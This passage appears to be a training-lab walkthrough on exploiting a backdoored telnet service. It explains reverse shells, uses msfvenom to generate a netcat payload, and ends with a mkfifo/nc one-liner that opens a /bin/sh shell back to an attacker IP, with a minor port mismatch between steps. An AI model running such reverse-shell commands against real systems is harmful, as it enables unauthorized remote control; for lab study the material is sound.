Telnet
Types of Telnet Exploit
Telnet, being a protocol, is in and of itself insecure for the reasons we talked about earlier. It lacks encryption, so it sends all communication over plaintext, and for the most part has poor access control. There are CVEs for Telnet client and server systems, however, so when exploiting you can check for those on:
A CVE, short for Common Vulnerabilities and Exposures, is a list of publicly disclosed computer security flaws. When someone refers to a CVE, they usually mean the CVE ID number assigned to a security flaw.
However, you're far more likely to find a misconfiguration in how telnet has been configured or is operating that will allow you to exploit it.
Method Breakdown
From our enumeration stage, we know:
- There is a poorly hidden telnet service running on this machine
- The service itself is marked "backdoor"
- We have a possible username of "Skidy" implicated
Using this information, let's try accessing this telnet port, and use that as a foothold to get a full reverse shell on the machine.
Connecting to Telnet
You can connect to a telnet server with the following syntax: Telnet [Ip] [Port]. We're going to need to keep this in mind as we try and exploit this machine.
What Is a Reverse Shell?
A "shell" can simply be described as a piece of code or program which can be used to gain code or command execution on a device.
A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listening port, on which it receives the connection, resulting in code or command execution being achieved.
Getting a Reverse Shell over Telnet
If unable to see commands returned back, then we can confirm whether we are able to send commands by starting a tcpdump on our attack box:
- Start the capture:
tcpdump ip proto \\icmp -i tun0 - Send
.RUN ping <ATTACKBOX_IP> -c 1and see if it pings; if so then we are in business. - Generate a reverse shell from the telnet session by creating a msfvenom payload from our attack box:
msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R - Start
nc -lvnp 1337from the attack box. - Copy the output and paste into telnet:
.RUN mkfifo /tmp/vpiys; nc 10.13.28.215 1337 0</tmp/vpiys | /bin/sh >/tmp/vpiys 2>&1; rm /tmp/vpiys